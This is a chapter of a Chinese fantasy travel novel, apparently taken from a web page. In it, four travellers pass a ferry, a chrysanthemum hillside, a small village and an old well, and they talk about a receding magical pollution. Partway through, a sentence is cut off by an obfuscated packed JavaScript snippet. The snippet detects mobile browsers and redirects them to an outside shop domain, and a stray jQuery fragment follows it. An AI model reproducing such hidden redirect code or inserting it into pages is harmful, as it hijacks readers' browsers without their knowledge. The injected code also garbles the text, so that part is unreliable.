流栖灯走到她面前。“您在这里撑了多少年了。”
撑船人抬起头。阳光照在她脸上,皱纹从眼角往太阳穴方向散开,和灰树镇药草铺的老人一样,和茶园的茶农一样。在户外过了一辈子的人,脸上的纹路都往同一个方向走。
“从我能拿动竹竿开始。”她把竹竿从水里提起来横在膝盖上。“我母亲撑不动了,换我。我撑不动了,换我女儿。她今天去镇上赶集了,下午回来。”
流栖灯回头看了一眼渡口。石砌的码头,暗红色的渡船,竹竿靠在船舷边。从能拿动竹竿开始撑到现在,然后女儿接着撑。“有人过河的时候撑船。没人的时候呢。”
撑船人拍了拍膝盖上的竹竿。“没人的时候,坐在这里看水。水从北边来,往南边去。春天涨水,夏天水浑,秋天水清,冬天水面结一层薄冰。看够了,就有人来了。”
流栖灯从口袋里拿出白麻布。在渡口这一页画了码头,渡船,撑船人坐在石头上竹竿横在膝盖上。
撑船人偏过头看了一眼布上的画。“你把我的竹竿画短了。我的竹竿比人长。”
流栖灯把竹竿改长了。改完撑船人看了看,点了点头。“这还差不多。”
离开渡口之前流栖灯在码头上站了一会儿。河水从北边流过来往南边流过去,撑船人坐在石头上,竹竿横在膝盖上。有人过河的时候她撑船,没人的时候她看水。她的母亲看过,她看过,她的女儿会接着看。河水一直流,渡船一直撑。
穗子在身后轻轻碰了碰她的肩膀,鼻子往她口袋里拱——口袋里还有中午剩的一小块松茸。流栖灯掏出来摊在掌心里喂给它。穗子吃完舔了舔她的手指,湿-漉-漉的马舌头带着松茸味儿。
过了青河,官道沿着河岸往东南走了一段然后拐进了山坳。山不高,馒头似的,一座接一座。山坡上开着一片一片的野菊-花,金黄-色的,从山脚铺到半山腰。花不大,比拇指指甲大不了多少,但开得密,远远看去像在山坡上泼了一桶金漆。
流栖灯勒住穗子。“菊-花。”
艾莉西亚也停下来。“野菊。可以泡水喝,也可以做药。清热解毒。”她从长腿背上翻下来走到山坡边摘了一朵。花瓣是金黄-色的,花蕊是深褐色的,举到鼻子前闻了闻。“苦的。但是那种好闻的苦。”
流栖灯也摘了一朵闻。苦,苦里带着一丝凉意,像薄荷但比薄荷温和,像茶叶但比茶叶直接。“它一直开在这里吗。”
“秋天开。开到来不及时就谢了。明年秋天还开。”艾莉西亚把菊-花夹进法术书里。“师母说野菊是秋天的句号。野菊开完了,秋天就结束了。”
流栖灯看着山坡上那片金黄。秋天快结束了。她们从帝都出发的时候是初秋,三皇子院子里的树叶子刚开始黄。走到现在,秋天快结束了。她把白麻布拿出来,在山坡野菊这一页画了满坡的金黄。
傍晚她们在山坳里的一个小村庄过夜。村子叫菊坡,因山坡上那片野菊得名。村里只有十几户人家,房子是石头砌的,屋顶铺着青瓦,瓦缝里长着干枯的瓦松。村口有一棵老柿树,柿子已经摘完了,只剩树梢顶上还挂着两三颗够不着的,红通通的,在暮色里像几盏极小极小的灯笼。
村长是个走路有点跛的老妇人,年轻的时候从山上摔下来过。她拄着一根荆条杖,把四个人安排在一间空屋里。空屋是村里人用来接待过路客商的,有两间房,床铺是土炕,炕洞里烧着秸秆,坐上去屁-股底下热烘烘的。
“村里好久没来过外人了。”村长拄着杖站在门口,荆条杖在泥地上点了点。“北边的灰吹过来的时候,官道上的人就少了。灰退了,你们是第一批往南走的。”
格蕾塔把鞍袋里的东西往炕上搬。“灰退了,往南走的人会越来越多。”
村长点了点头,荆条杖又点了一下地。“多了好。人多,村子就活了。”她转身走了,跛着的脚踩在村道的石板上,一步一顿。
晚饭是村长端来的。一-大盆小米粥,一摞玉米饼,一碗腌萝卜。萝卜切得粗,腌得酸,嚼在嘴里咯吱咯吱响。流栖灯把腌萝卜夹在玉米饼里卷着吃,酸味把玉米的甜勾了出来。
“这个腌萝卜好吃。”她把嘴里的饼咽下去,又卷了一块。
艾莉西亚也卷了一块咬了一口。酸得眯了一下眼睛,然后继续嚼。“比伯爵领的腌菜酸。但是酸的后面是甜的。”
格蕾塔喝了一口小米粥。“腌萝卜的酸和野菊的苦一样,都是秋天的味道。”
流栖灯想了想,把白麻布拿出来在菊坡村这一页画了老柿树梢上那几颗够不着的柿子,画了村长拄着荆条杖的背影。
吃完饭四个人坐在炕上,炕洞里秸秆的余烬烘得整个屋子暖洋洋的。窗外全黑了,菊坡村的夜黑得很彻底——没有月亮,星星被云遮住了,村里人睡得早窗户没有光。只有风从山坡上吹下来,带着野菊-花的苦味从窗缝里钻进来。
流栖灯把白麻布摊在炕上。从离开帝都到现在,布的正反两面已经画了很多人和很多地方。她的手指在布面上慢慢移动——绿溪镇的槐树,哨站的朵拉,荒原上的岩羊,封印之地的石柱,妖精林子的纺织妖精,灰树镇的药草铺,茶园的芽苞,松林里的松茸,渡口的撑船人,山坡上的野菊。
“从帝都到封印,走了十几天。从封印往回走,也走了十几天了。”她把手指停在渡口那一页。“来的时候一直在赶路,回去的时候在慢慢走。来的时候看到的都是灰,回去的时候灰在退。”
艾莉西亚靠墙坐着,法术书放在膝盖上没有打开。“来的时候我在算污染扩散的速度。回去的时候我在算污染消退的速度。消退比扩散慢。但它在退。”
“慢多少。”
“大约慢一倍。扩散的时候有地脉帮忙,消退
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17584492|203862||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
的时候只能靠封印的净化功能一点一点往回推。”艾莉西亚用手指在炕面上画了一条曲线。“像退潮。涨潮的时候水涌上来很快,退潮的时候水是慢慢慢慢往下撤的。”
流栖灯看着那条看不见的曲线。“撤到绿溪镇要多久。”
“按现在的速度,一个月后绿溪镇的魔力浓度能回到一级。三个月后山路上的歇马点能回到二级。半年后哨站能回到正常值。”艾莉西亚把手指从炕面上收回来。“禁域里面,可能需要很多年。但禁域里没有人住。岩羊不在乎。”
流栖灯把白麻布叠起来放进口袋。窗外野菊-花的苦味又从窗缝里钻进来。秋天快结束了。冬天过完是春天。春天的时候茶园的芽苞会抽出来,绿溪镇的井水会回到一级,老桑妮的小孙女身上的疹子会完全消退,海瑟会在记录本上写下“水色清,味甘”。撑船人的女儿会在没人的时候坐在码头石头上看水。水从北边来,往南边去。
第二天早晨离开菊坡村的时候,村长拄着荆条杖送到村口。手里提着一小罐腌萝卜。“路上吃。酸的东西开胃。”流栖灯接过罐子放进鞍袋里。罐子是粗陶的,釉色发黄,罐口封着油纸用麻绳扎紧。
上马之后流栖灯回头看了一眼。村长还站在村口的老柿树下,荆条杖杵在地上。树梢上那几颗够不着的柿子在晨光里红通通的,像极小极小的灯笼。穗子迈出步子,腌萝卜的陶罐在鞍袋里轻轻碰着水囊,发出闷闷的声响。
从菊坡村往南,官道穿过一片又一片的麦田。麦子已经收割了,田里只剩麦茬,一行一行整整齐齐地排着。有些田里已经翻过了,赭红色的新土从麦茬下面翻上来,在灰白色的天光里冒着热腾腾的土气。翻过的田里落着成群的乌鸦,黑羽在翻土里啄食遗留的麦粒和土里的虫子。马经过的时候乌鸦呼啦啦飞起来,在天上绕一圈,等人走远了又落回去。
流栖灯看着乌鸦落回田里。“它们不怕人。”
“怕。但更怕饿。”格蕾塔的声音从后面传来。“冬天快到了。乌鸦要攒够过冬的粮食。”
流栖灯把手伸-进鞍袋里摸出一小块玉米饼——昨晚剩的。掰碎了往路边的田里一撒。乌鸦群在远处看着,没有飞过来。等马走远了,她从马背上回头,看见第一只乌鸦落下来叼走了最大的一块。
中午她们在麦田边的一口井旁歇脚。井是老井,石砌的井台被磨得光滑如镜,井口架着辘轳,辘轳把手上缠着麻绳,绳头系着一只木桶。井边立着一块石碑,碑文被风雨磨蚀得厉害,但还能认出来——是建井的年月和捐井人的名字。落款是两百多年前。
格蕾塔摇着辘轳把木桶放下去。桶触到水面发出沉闷的扑通声,她等桶沉满了摇上来。井水打上来是清的,掬一捧喝,凉,甜。比青河的水甜,比荒原上石头缝里的水甜。
“两百多年的井。”流栖灯喝完水用手背擦了擦嘴。“还在打水。”